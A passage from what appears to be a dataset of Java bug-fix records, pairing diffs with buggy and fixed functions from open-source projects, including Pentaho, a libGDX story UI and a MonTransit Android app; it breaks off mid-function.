diff
stringlengths
262
553k
is_single_chunk
bool
2 classes
is_single_function
bool
1 class
buggy_function
stringlengths
20
391k
fixed_function
stringlengths
0
392k
diff --git a/src/org/pentaho/platform/dataaccess/datasource/wizard/models/DatasourceDTOUtil.java b/src/org/pentaho/platform/dataaccess/datasource/wizard/models/DatasourceDTOUtil.java index 48e82091..0c8c1bba 100644 --- a/src/org/pentaho/platform/dataaccess/datasource/wizard/models/DatasourceDTOUtil.java +++ b/src/org/pentaho/platform/dataaccess/datasource/wizard/models/DatasourceDTOUtil.java @@ -1,27 +1,29 @@ package org.pentaho.platform.dataaccess.datasource.wizard.models; /** * User: nbaker * Date: Aug 13, 2010 */ public class DatasourceDTOUtil { public static DatasourceDTO generateDTO(DatasourceModel model){ DatasourceDTO dto = new DatasourceDTO(); dto.setDatasourceName(model.getDatasourceName()); dto.setCsvModelInfo(model.getModelInfo()); dto.setDatasourceType(model.getDatasourceType()); dto.setQuery(model.getQuery()); - dto.setConnectionName(model.getSelectedRelationalConnection().getName()); + if(model.getSelectedRelationalConnection() != null){ + dto.setConnectionName(model.getSelectedRelationalConnection().getName()); + } return dto; } public static void populateModel(DatasourceDTO dto, DatasourceModel model){ model.setDatasourceName(dto.getDatasourceName()); model.setModelInfo(dto.getCsvModelInfo()); model.setDatasourceType(dto.getDatasourceType()); model.setQuery(dto.getQuery()); model.setSelectedRelationalConnection(model.getGuiStateModel().getConnectionByName(dto.getConnectionName())); } }
true
true
public static DatasourceDTO generateDTO(DatasourceModel model){ DatasourceDTO dto = new DatasourceDTO(); dto.setDatasourceName(model.getDatasourceName()); dto.setCsvModelInfo(model.getModelInfo()); dto.setDatasourceType(model.getDatasourceType()); dto.setQuery(model.getQuery()); dto.setConnectionName(model.getSelectedRelationalConnection().getName()); return dto; }
public static DatasourceDTO generateDTO(DatasourceModel model){ DatasourceDTO dto = new DatasourceDTO(); dto.setDatasourceName(model.getDatasourceName()); dto.setCsvModelInfo(model.getModelInfo()); dto.setDatasourceType(model.getDatasourceType()); dto.setQuery(model.getQuery()); if(model.getSelectedRelationalConnection() != null){ dto.setConnectionName(model.getSelectedRelationalConnection().getName()); } return dto; }
diff --git a/src/chlorophytum/story/view/StoryStage.java b/src/chlorophytum/story/view/StoryStage.java index 5789ecb..c6fd571 100644 --- a/src/chlorophytum/story/view/StoryStage.java +++ b/src/chlorophytum/story/view/StoryStage.java @@ -1,169 +1,169 @@ /* * Copyright (C) 2013 caryoscelus * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * Additional permission under GNU GPL version 3 section 7: * If you modify this Program, or any covered work, by linking or combining * it with Clojure (or a modified version of that library), containing parts * covered by the terms of EPL 1.0, the licensors of this Program grant you * additional permission to convey the resulting work. {Corresponding Source * for a non-source form of such a combination shall include the source code * for the parts of Clojure used as well as that of the covered work.} */ package chlorophytum.story.view; import chlorophytum.*; import chlorophytum.story.*; import com.badlogic.gdx.*; import com.badlogic.gdx.graphics.*; import com.badlogic.gdx.scenes.scene2d.*; import com.badlogic.gdx.scenes.scene2d.ui.*; import com.badlogic.gdx.scenes.scene2d.utils.ChangeListener; /** * Stage for displaying story */ public class StoryStage extends Stage { public boolean show = false; public StoryContext storyContext; /** * Stupid string parser. * Removes opening and closing and separate what was between them * and the rest * @param str String to parse * @param opening String to cut from * @param closing String to cut to * @return (parsed string, enclosed text) */ protected String[] parse(String str, String opening, String closing) { String cut = null; String[] t = str.split("("+opening+"|"+closing+")"); if (t.length > 1) { cut = t[1]; if (t.length > 2) { str = t[0] + t[2]; } else { str = t[0]; } } String[] r = new String[2]; r[0] = str; r[1] = cut; return r; } protected String[] parseAll (String labelText) { // remove superflous white space labelText = labelText.replace("\t", " "); labelText = labelText.replace("\n", " "); while (labelText.matches(" ")) { labelText = labelText.replace(" ", " "); } // now add some line-breaks for paragraphs labelText = labelText.replace("^", "\n"); // now check if we should display a picture String[] t = parse(labelText, "<img:", ">"); // at this point t = [labelText, img], and that's what we need for now! return t; } public void setContext (StoryContext context) { if (context == null) { Gdx.app.error("setContext", "context is null"); } storyContext = context; if (context != null) { setupUi(context); show = true; } } /** * Setup storyStage from dialogue. * This is quite a mess, needs lots of refactoring */ protected void setupUi (StoryContext piece) { final Skin skin = UiManager.instance().skin(); final Table table = new Table(); table.setFillParent(true); final Window winDialog = new Window("----", skin); table.add(winDialog).width(600).height(400); String[] parsed = parseAll(piece.getText()); String labelText = parsed[0]; String img = parsed[1]; if (img != null) { final Image image = new Image(new Texture(Gdx.files.internal(img))); winDialog.add(image); winDialog.row(); } final Label label = new Label(labelText, skin); label.setWrap(true); winDialog.add(label).space(6).pad(2).expand().fillX().top().left(); // dialogue options for (StoryDialogLine line : piece.getLines()) { if (line.visible) { final String text = line.text; final StoryEvent event = line.event; final TextButton button = new TextButton(text, skin); button.addListener(new ChangeListener() { public void changed (ChangeEvent cevent, Actor actor) { event.trigger(storyContext); } }); winDialog.row(); - winDialog.add(button).pad(2); + winDialog.add(button).padBottom(8).padLeft(8).padRight(8).fillX(); } } winDialog.top(); winDialog.pack(); table.top(); addActor(table); } public void act (float dt) { super.act(dt); if (storyContext == null) { show = false; } else if (storyContext.finished()) { show = false; storyContext = null; } else { if (!show) { setupUi((StoryContext)storyContext); show = true; } } } }
true
true
protected void setupUi (StoryContext piece) { final Skin skin = UiManager.instance().skin(); final Table table = new Table(); table.setFillParent(true); final Window winDialog = new Window("----", skin); table.add(winDialog).width(600).height(400); String[] parsed = parseAll(piece.getText()); String labelText = parsed[0]; String img = parsed[1]; if (img != null) { final Image image = new Image(new Texture(Gdx.files.internal(img))); winDialog.add(image); winDialog.row(); } final Label label = new Label(labelText, skin); label.setWrap(true); winDialog.add(label).space(6).pad(2).expand().fillX().top().left(); // dialogue options for (StoryDialogLine line : piece.getLines()) { if (line.visible) { final String text = line.text; final StoryEvent event = line.event; final TextButton button = new TextButton(text, skin); button.addListener(new ChangeListener() { public void changed (ChangeEvent cevent, Actor actor) { event.trigger(storyContext); } }); winDialog.row(); winDialog.add(button).pad(2); } } winDialog.top(); winDialog.pack(); table.top(); addActor(table); }
protected void setupUi (StoryContext piece) { final Skin skin = UiManager.instance().skin(); final Table table = new Table(); table.setFillParent(true); final Window winDialog = new Window("----", skin); table.add(winDialog).width(600).height(400); String[] parsed = parseAll(piece.getText()); String labelText = parsed[0]; String img = parsed[1]; if (img != null) { final Image image = new Image(new Texture(Gdx.files.internal(img))); winDialog.add(image); winDialog.row(); } final Label label = new Label(labelText, skin); label.setWrap(true); winDialog.add(label).space(6).pad(2).expand().fillX().top().left(); // dialogue options for (StoryDialogLine line : piece.getLines()) { if (line.visible) { final String text = line.text; final StoryEvent event = line.event; final TextButton button = new TextButton(text, skin); button.addListener(new ChangeListener() { public void changed (ChangeEvent cevent, Actor actor) { event.trigger(storyContext); } }); winDialog.row(); winDialog.add(button).padBottom(8).padLeft(8).padRight(8).fillX(); } } winDialog.top(); winDialog.pack(); table.top(); addActor(table); }
diff --git a/4dnest/src/org/fourdnest/androidclient/ui/ChooseSetupMethodActivity.java b/4dnest/src/org/fourdnest/androidclient/ui/ChooseSetupMethodActivity.java index 3b7799c..41b374b 100644 --- a/4dnest/src/org/fourdnest/androidclient/ui/ChooseSetupMethodActivity.java +++ b/4dnest/src/org/fourdnest/androidclient/ui/ChooseSetupMethodActivity.java @@ -1,40 +1,42 @@ package org.fourdnest.androidclient.ui; import org.fourdnest.androidclient.R; import android.app.Activity; import android.os.Bundle; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; /** * Not used in 1.0 * */ public class ChooseSetupMethodActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { + /* Button QRButton = (Button) findViewById(R.id.setup_qr); Button manualButton = (Button) findViewById(R.id.setup_manual); QRButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); manualButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); + */ } }
false
true
public void onCreate(Bundle savedInstanceState) { Button QRButton = (Button) findViewById(R.id.setup_qr); Button manualButton = (Button) findViewById(R.id.setup_manual); QRButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); manualButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); }
public void onCreate(Bundle savedInstanceState) { /* Button QRButton = (Button) findViewById(R.id.setup_qr); Button manualButton = (Button) findViewById(R.id.setup_manual); QRButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); manualButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { // TODO Auto-generated method stub } }); */ }
diff --git a/src/edu/csupomona/kyra/component/ai/AIComponent.java b/src/edu/csupomona/kyra/component/ai/AIComponent.java index 257bffa..70983f7 100644 --- a/src/edu/csupomona/kyra/component/ai/AIComponent.java +++ b/src/edu/csupomona/kyra/component/ai/AIComponent.java @@ -1,96 +1,96 @@ /************************************************************** * file: AIComponent.java * author: Andrew King, Anthony Mendez, Ghislain Muberwa * class: CS499 - Game Programming * * assignment: Class Project * date last modified: * * purpose: Abstract class for AI **************************************************************/ package edu.csupomona.kyra.component.ai; import java.util.ArrayList; import org.newdawn.slick.geom.Line; import org.newdawn.slick.tiled.TiledMap; import edu.csupomona.kyra.Kyra; import edu.csupomona.kyra.component.Component; import edu.csupomona.kyra.component.physics.objects.Block; import edu.csupomona.kyra.component.physics.objects.BlockMap; import edu.csupomona.kyra.entity.Entity; public abstract class AIComponent extends Component { Entity player1; Entity player2; BlockMap map; ArrayList<String> actions; public AIComponent(String id, Entity player1, Entity player2, TiledMap map) { super(id); this.player1 = player1; this.player2 = player2; this.map = new BlockMap(map); } //Draws line to player protected Line getLineToPlayer(Entity player) { if (player.getHealthComponent().isDead()) return null; return new Line(owner.getPosition(), player.getPosition()); } //Returns whether there is a clear path to the player protected boolean clearPathToPlayer(Line lineToPlayer) { for (Block block : map.getBlocks()) { if (lineToPlayer.intersects(block.getPolygon())) return false; } return true; } //Returns the line to player public Line getLineToTarget() { Line p1Line = getLineToPlayer(player1); if (Kyra.vs) { Line p2Line = getLineToPlayer(player2); //If a player is dead, return the living player's line if it is clear if (p1Line != null && p2Line == null) { if (clearPathToPlayer(p1Line)) return p1Line; return null; } else if (p2Line != null && p1Line == null) { if (clearPathToPlayer(p2Line)) return p2Line; return null; } //If both players are alive return the one with the clear path if (clearPathToPlayer(p1Line) && !clearPathToPlayer(p2Line)) return p1Line; else if (!clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) return p2Line; //If both are clear return the shorter line else if (clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) { if (p1Line.length() < p2Line.length()) return p1Line; else return p2Line; } //If all of the above fail, then there is no path else return null; } - if (clearPathToPlayer(p1Line)) + if ((p1Line != null) && clearPathToPlayer(p1Line)) return p1Line; else return null; } //Returns a set of actions public ArrayList<String> getActions() { return actions; } }
true
true
public Line getLineToTarget() { Line p1Line = getLineToPlayer(player1); if (Kyra.vs) { Line p2Line = getLineToPlayer(player2); //If a player is dead, return the living player's line if it is clear if (p1Line != null && p2Line == null) { if (clearPathToPlayer(p1Line)) return p1Line; return null; } else if (p2Line != null && p1Line == null) { if (clearPathToPlayer(p2Line)) return p2Line; return null; } //If both players are alive return the one with the clear path if (clearPathToPlayer(p1Line) && !clearPathToPlayer(p2Line)) return p1Line; else if (!clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) return p2Line; //If both are clear return the shorter line else if (clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) { if (p1Line.length() < p2Line.length()) return p1Line; else return p2Line; } //If all of the above fail, then there is no path else return null; } if (clearPathToPlayer(p1Line)) return p1Line; else return null; }
public Line getLineToTarget() { Line p1Line = getLineToPlayer(player1); if (Kyra.vs) { Line p2Line = getLineToPlayer(player2); //If a player is dead, return the living player's line if it is clear if (p1Line != null && p2Line == null) { if (clearPathToPlayer(p1Line)) return p1Line; return null; } else if (p2Line != null && p1Line == null) { if (clearPathToPlayer(p2Line)) return p2Line; return null; } //If both players are alive return the one with the clear path if (clearPathToPlayer(p1Line) && !clearPathToPlayer(p2Line)) return p1Line; else if (!clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) return p2Line; //If both are clear return the shorter line else if (clearPathToPlayer(p1Line) && clearPathToPlayer(p2Line)) { if (p1Line.length() < p2Line.length()) return p1Line; else return p2Line; } //If all of the above fail, then there is no path else return null; } if ((p1Line != null) && clearPathToPlayer(p1Line)) return p1Line; else return null; }
diff --git a/src/org/teaframework/demo/GitDemo1.java b/src/org/teaframework/demo/GitDemo1.java index 2d61c64..6753eb5 100644 --- a/src/org/teaframework/demo/GitDemo1.java +++ b/src/org/teaframework/demo/GitDemo1.java @@ -1,19 +1,20 @@ /** * */ package org.teaframework.demo; /** * @author Administrator * */ public class GitDemo1 { /** * @param args */ public static void main(String[] args) { System.out.println("Hello World for Story ID 7333385!"); + System.out.println("Hello World for Story ID 7333385! Second one."); } }
true
true
public static void main(String[] args) { System.out.println("Hello World for Story ID 7333385!"); }
public static void main(String[] args) { System.out.println("Hello World for Story ID 7333385!"); System.out.println("Hello World for Story ID 7333385! Second one."); }
diff --git a/MonTransit/src/org/montrealtransit/android/activity/FavListTab.java b/MonTransit/src/org/montrealtransit/android/activity/FavListTab.java index 6521c7f4..5c852720 100644 --- a/MonTransit/src/org/montrealtransit/android/activity/FavListTab.java +++ b/MonTransit/src/org/montrealtransit/android/activity/FavListTab.java @@ -1,348 +1,348 @@ package org.montrealtransit.android.activity; import java.util.List; import org.montrealtransit.android.AnalyticsUtils; import org.montrealtransit.android.BusUtils; import org.montrealtransit.android.MenuUtils; import org.montrealtransit.android.MyLog; import org.montrealtransit.android.R; import org.montrealtransit.android.SubwayUtils; import org.montrealtransit.android.Utils; import org.montrealtransit.android.provider.DataManager; import org.montrealtransit.android.provider.DataStore; import org.montrealtransit.android.provider.DataStore.Fav; import org.montrealtransit.android.provider.StmManager; import org.montrealtransit.android.provider.StmStore.BusStop; import org.montrealtransit.android.provider.StmStore.SubwayLine; import org.montrealtransit.android.provider.StmStore.SubwayStation; import android.app.Activity; import android.app.AlertDialog; import android.content.DialogInterface; import android.content.Intent; import android.os.Bundle; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup.LayoutParams; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; /** * This activity list the favorite bus stops. * @author Mathieu Méa */ public class FavListTab extends Activity { /** * The log tag. */ private static final String TAG = FavListTab.class.getSimpleName(); /** * The tracker tag. */ private static final String TRACKER_TAG = "/FavList"; /** * The favorite subway stations list. */ private List<DataStore.Fav> currentSubwayStationFavList; /** * The favorite bus stops list. */ private List<DataStore.Fav> currentBusStopFavList; /** * The favorite subway stations layout. */ private LinearLayout subwayStationsLayout; /** * The favorite bus stops layout. */ private LinearLayout busStopsLayout; /** * {@inheritDoc} */ @Override protected void onCreate(Bundle savedInstanceState) { MyLog.v(TAG, "onCreate()"); super.onCreate(savedInstanceState); // set the UI setContentView(R.layout.fav_list_tab); this.subwayStationsLayout = (LinearLayout) findViewById(R.id.subway_stations_list); this.busStopsLayout = (LinearLayout) findViewById(R.id.bus_stops_list); } /** * {@inheritDoc} */ @Override protected void onResume() { MyLog.v(TAG, "onResume()"); setUpUI(); //TODO in background task AnalyticsUtils.trackPageView(this, TRACKER_TAG); super.onResume(); } /** * Refresh all the UI. */ private void setUpUI() { refreshBusStops(); refreshSubwayStations(); Utils.saveSharedPreferences( this, UserPreferences.PREFS_IS_FAV, Utils.getListSize(this.currentBusStopFavList) > 0 || Utils.getListSize(this.currentSubwayStationFavList) > 0); } /** * Context menu to view the favorite. */ private static final int VIEW_CONTEXT_MENU_INDEX = 0; /** * Context menu to delete the favorite. */ private static final int DELETE_CONTEXT_MENU_INDEX = 1; /** * Refresh the favorite bus stops UI. */ private void refreshBusStops() { MyLog.v(TAG, "refreshBusStops()"); List<DataStore.Fav> newBusStopFavList = DataManager.findFavsByTypeList(getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_BUS_STOP); if (this.currentBusStopFavList == null || this.currentBusStopFavList.size() != newBusStopFavList.size()) { // remove all favorite bus stop views this.busStopsLayout.removeAllViews(); // use new favorite bus stops this.currentBusStopFavList = newBusStopFavList; // IF there is one or more favorite bus stops DO if (this.currentBusStopFavList != null && this.currentBusStopFavList.size() > 0) { // FOR EACH bus stop DO for (final BusStop busStop : StmManager.findBusStopsExtendedList(this.getContentResolver(), Utils.extractBusStopIDsFromFavList(this.currentBusStopFavList))) { // list view divider if (this.busStopsLayout.getChildCount() > 0) { this.busStopsLayout.addView(getLayoutInflater().inflate(R.layout.list_view_divider, null)); } // create view View view = getLayoutInflater().inflate(R.layout.fav_list_tab_bus_stop_item, null); // bus stop code ((TextView) view.findViewById(R.id.stop_code)).setText(busStop.getCode()); // bus stop place String busStopPlace = BusUtils.cleanBusStopPlace(busStop.getPlace()); ((TextView) view.findViewById(R.id.label)).setText(busStopPlace); // bus stop line number ((TextView) view.findViewById(R.id.line_number)).setText(busStop.getLineNumber()); // bus stop line name ((TextView) view.findViewById(R.id.line_name)).setText(busStop.getLineNameOrNull()); // bus stop line direction int busLineDirection = BusUtils.getBusLineSimpleDirection(busStop.getDirectionId()); ((TextView) view.findViewById(R.id.line_direction)).setText(busLineDirection); // add click listener view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { MyLog.v(TAG, "onClick(%s)", v.getId()); Intent intent = new Intent(FavListTab.this, BusStopInfo.class); intent.putExtra(BusStopInfo.EXTRA_STOP_LINE_NUMBER, busStop.getLineNumber()); intent.putExtra(BusStopInfo.EXTRA_STOP_CODE, busStop.getCode()); startActivity(intent); } }); // add context menu view.setOnLongClickListener(new View.OnLongClickListener() { @Override public boolean onLongClick(View v) { MyLog.v(TAG, "onLongClick(%s)", v.getId()); AlertDialog.Builder builder = new AlertDialog.Builder(FavListTab.this); builder.setTitle(getString(R.string.bus_stop_and_line_short, busStop.getCode(), busStop.getLineNumber())); CharSequence[] items = { getString(R.string.view_bus_stop), getString(R.string.remove_fav) }; builder.setItems(items, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int item) { MyLog.v(TAG, "onClick(%s)", item); switch (item) { case VIEW_CONTEXT_MENU_INDEX: Intent intent = new Intent(FavListTab.this, BusStopInfo.class); intent.putExtra(BusStopInfo.EXTRA_STOP_LINE_NUMBER, busStop.getLineNumber()); intent.putExtra(BusStopInfo.EXTRA_STOP_CODE, busStop.getCode()); startActivity(intent); break; case DELETE_CONTEXT_MENU_INDEX: // find the favorite to delete Fav findFav = DataManager.findFav(FavListTab.this.getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_BUS_STOP, busStop.getCode(), busStop.getLineNumber()); // delete the favorite /* boolean status = */ DataManager.deleteFav(FavListTab.this.getContentResolver(), findFav.getId()); // MyLog.d(TAG, "delete fav: " + status); // refresh the UI FavListTab.this.currentBusStopFavList = null; refreshBusStops(); break; default: break; } } }); builder.create().show(); return true; } }); this.busStopsLayout.addView(view); } } else { // show the noFav message TextView noFavTv = new TextView(this); noFavTv.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)); noFavTv.setTextAppearance(this, android.R.attr.textAppearanceMedium); noFavTv.setText(R.string.no_fav_bus_stop_message); this.busStopsLayout.addView(noFavTv); } } } /** * Refresh the favorite subway stations UI. */ private void refreshSubwayStations() { List<DataStore.Fav> newSubwayFavList = DataManager.findFavsByTypeList(getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION); if (this.currentSubwayStationFavList == null || this.currentSubwayStationFavList.size() != newSubwayFavList.size()) { // remove all subway station views this.subwayStationsLayout.removeAllViews(); // use new favorite subway station - this.currentBusStopFavList = newSubwayFavList; + this.currentSubwayStationFavList = newSubwayFavList; // IF there is one or more bus stops DO - if (this.currentBusStopFavList != null && this.currentBusStopFavList.size() > 0) { + if (this.currentSubwayStationFavList != null && this.currentSubwayStationFavList.size() > 0) { // FOR EACH favorite subway DO - for (Fav subwayFav : this.currentBusStopFavList) { + for (Fav subwayFav : this.currentSubwayStationFavList) { final SubwayStation station = StmManager.findSubwayStation(getContentResolver(), subwayFav.getFkId()); if (station != null) { List<SubwayLine> otherLinesId = StmManager.findSubwayStationLinesList(getContentResolver(), station.getId()); // list view divider if (this.subwayStationsLayout.getChildCount() > 0) { this.subwayStationsLayout.addView(getLayoutInflater().inflate(R.layout.list_view_divider, null)); } // create view View view = getLayoutInflater().inflate(R.layout.fav_list_tab_subway_station_item, null); // subway station name ((TextView) view.findViewById(R.id.station_name)).setText(station.getName()); // station lines color if (otherLinesId != null && otherLinesId.size() > 0) { int subwayLineImg1 = SubwayUtils.getSubwayLineImgId(otherLinesId.get(0).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_1)).setImageResource(subwayLineImg1); if (otherLinesId.size() > 1) { int subwayLineImg2 = SubwayUtils.getSubwayLineImgId(otherLinesId.get(1).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_2)).setImageResource(subwayLineImg2); if (otherLinesId.size() > 2) { int subwayLineImg3 = SubwayUtils .getSubwayLineImgId(otherLinesId.get(2).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_3)).setImageResource(subwayLineImg3); } else { view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_1).setVisibility(View.GONE); view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } // add click listener view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { MyLog.v(TAG, "onClick(%s)", v.getId()); Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); } }); // add context menu view.setOnLongClickListener(new View.OnLongClickListener() { @Override public boolean onLongClick(View v) { MyLog.v(TAG, "onLongClick(%s)", v.getId()); AlertDialog.Builder builder = new AlertDialog.Builder(FavListTab.this); builder.setTitle(getString(R.string.subway_station_with_name_short, station.getName())); CharSequence[] items = { getString(R.string.view_subway_station), getString(R.string.remove_fav) }; builder.setItems(items, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int item) { MyLog.v(TAG, "onClick(%s)", item); switch (item) { case VIEW_CONTEXT_MENU_INDEX: Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); break; case DELETE_CONTEXT_MENU_INDEX: // find the favorite to delete Fav findFav = DataManager.findFav(FavListTab.this.getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION, station.getId(), null); // delete the favorite /* boolean status = */ DataManager.deleteFav(FavListTab.this.getContentResolver(), findFav.getId()); // MyLog.d(TAG, "delete fav: " + status); // refresh the UI FavListTab.this.currentSubwayStationFavList = null; refreshSubwayStations(); break; default: break; } } }); AlertDialog alert = builder.create(); alert.show(); return true; } }); this.subwayStationsLayout.addView(view); } else { MyLog.w(TAG, "Can't find the favorite subway station (ID:%s)", subwayFav.getFkId()); } } } else { // show the noFav message TextView noFavTv = new TextView(this); noFavTv.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)); noFavTv.setTextAppearance(this, android.R.attr.textAppearanceMedium); noFavTv.setText(R.string.no_fav_subway_station_message); this.subwayStationsLayout.addView(noFavTv); } } } /** * {@inheritDoc} */ @Override public boolean onCreateOptionsMenu(Menu menu) { return MenuUtils.createMainMenu(this, menu); } /** * {@inheritDoc} */ @Override public boolean onOptionsItemSelected(MenuItem item) { return MenuUtils.handleCommonMenuActions(this, item); } }
false
true
private void refreshSubwayStations() { List<DataStore.Fav> newSubwayFavList = DataManager.findFavsByTypeList(getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION); if (this.currentSubwayStationFavList == null || this.currentSubwayStationFavList.size() != newSubwayFavList.size()) { // remove all subway station views this.subwayStationsLayout.removeAllViews(); // use new favorite subway station this.currentBusStopFavList = newSubwayFavList; // IF there is one or more bus stops DO if (this.currentBusStopFavList != null && this.currentBusStopFavList.size() > 0) { // FOR EACH favorite subway DO for (Fav subwayFav : this.currentBusStopFavList) { final SubwayStation station = StmManager.findSubwayStation(getContentResolver(), subwayFav.getFkId()); if (station != null) { List<SubwayLine> otherLinesId = StmManager.findSubwayStationLinesList(getContentResolver(), station.getId()); // list view divider if (this.subwayStationsLayout.getChildCount() > 0) { this.subwayStationsLayout.addView(getLayoutInflater().inflate(R.layout.list_view_divider, null)); } // create view View view = getLayoutInflater().inflate(R.layout.fav_list_tab_subway_station_item, null); // subway station name ((TextView) view.findViewById(R.id.station_name)).setText(station.getName()); // station lines color if (otherLinesId != null && otherLinesId.size() > 0) { int subwayLineImg1 = SubwayUtils.getSubwayLineImgId(otherLinesId.get(0).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_1)).setImageResource(subwayLineImg1); if (otherLinesId.size() > 1) { int subwayLineImg2 = SubwayUtils.getSubwayLineImgId(otherLinesId.get(1).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_2)).setImageResource(subwayLineImg2); if (otherLinesId.size() > 2) { int subwayLineImg3 = SubwayUtils .getSubwayLineImgId(otherLinesId.get(2).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_3)).setImageResource(subwayLineImg3); } else { view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } } else { view.findViewById(R.id.subway_img_1).setVisibility(View.GONE); view.findViewById(R.id.subway_img_2).setVisibility(View.GONE); view.findViewById(R.id.subway_img_3).setVisibility(View.GONE); } // add click listener view.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { MyLog.v(TAG, "onClick(%s)", v.getId()); Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); } }); // add context menu view.setOnLongClickListener(new View.OnLongClickListener() { @Override public boolean onLongClick(View v) { MyLog.v(TAG, "onLongClick(%s)", v.getId()); AlertDialog.Builder builder = new AlertDialog.Builder(FavListTab.this); builder.setTitle(getString(R.string.subway_station_with_name_short, station.getName())); CharSequence[] items = { getString(R.string.view_subway_station), getString(R.string.remove_fav) }; builder.setItems(items, new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int item) { MyLog.v(TAG, "onClick(%s)", item); switch (item) { case VIEW_CONTEXT_MENU_INDEX: Intent intent = new Intent(FavListTab.this, SubwayStationInfo.class); intent.putExtra(SubwayStationInfo.EXTRA_STATION_ID, station.getId()); startActivity(intent); break; case DELETE_CONTEXT_MENU_INDEX: // find the favorite to delete Fav findFav = DataManager.findFav(FavListTab.this.getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION, station.getId(), null); // delete the favorite /* boolean status = */ DataManager.deleteFav(FavListTab.this.getContentResolver(), findFav.getId()); // MyLog.d(TAG, "delete fav: " + status); // refresh the UI FavListTab.this.currentSubwayStationFavList = null; refreshSubwayStations(); break; default: break; } } }); AlertDialog alert = builder.create(); alert.show(); return true; } }); this.subwayStationsLayout.addView(view); } else { MyLog.w(TAG, "Can't find the favorite subway station (ID:%s)", subwayFav.getFkId()); } } } else { // show the noFav message TextView noFavTv = new TextView(this); noFavTv.setLayoutParams(new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT)); noFavTv.setTextAppearance(this, android.R.attr.textAppearanceMedium); noFavTv.setText(R.string.no_fav_subway_station_message); this.subwayStationsLayout.addView(noFavTv); } } }
private void refreshSubwayStations() { List<DataStore.Fav> newSubwayFavList = DataManager.findFavsByTypeList(getContentResolver(), DataStore.Fav.KEY_TYPE_VALUE_SUBWAY_STATION); if (this.currentSubwayStationFavList == null || this.currentSubwayStationFavList.size() != newSubwayFavList.size()) { // remove all subway station views this.subwayStationsLayout.removeAllViews(); // use new favorite subway station this.currentSubwayStationFavList = newSubwayFavList; // IF there is one or more bus stops DO if (this.currentSubwayStationFavList != null && this.currentSubwayStationFavList.size() > 0) { // FOR EACH favorite subway DO for (Fav subwayFav : this.currentSubwayStationFavList) { final SubwayStation station = StmManager.findSubwayStation(getContentResolver(), subwayFav.getFkId()); if (station != null) { List<SubwayLine> otherLinesId = StmManager.findSubwayStationLinesList(getContentResolver(), station.getId()); // list view divider if (this.subwayStationsLayout.getChildCount() > 0) { this.subwayStationsLayout.addView(getLayoutInflater().inflate(R.layout.list_view_divider, null)); } // create view View view = getLayoutInflater().inflate(R.layout.fav_list_tab_subway_station_item, null); // subway station name ((TextView) view.findViewById(R.id.station_name)).setText(station.getName()); // station lines color if (otherLinesId != null && otherLinesId.size() > 0) { int subwayLineImg1 = SubwayUtils.getSubwayLineImgId(otherLinesId.get(0).getNumber()); ((ImageView) view.findViewById(R.id.subway_img_1)).setImageResource(subwayLineImg1); if (otherLinesId.size() > 1) { int subwayLineImg2 = 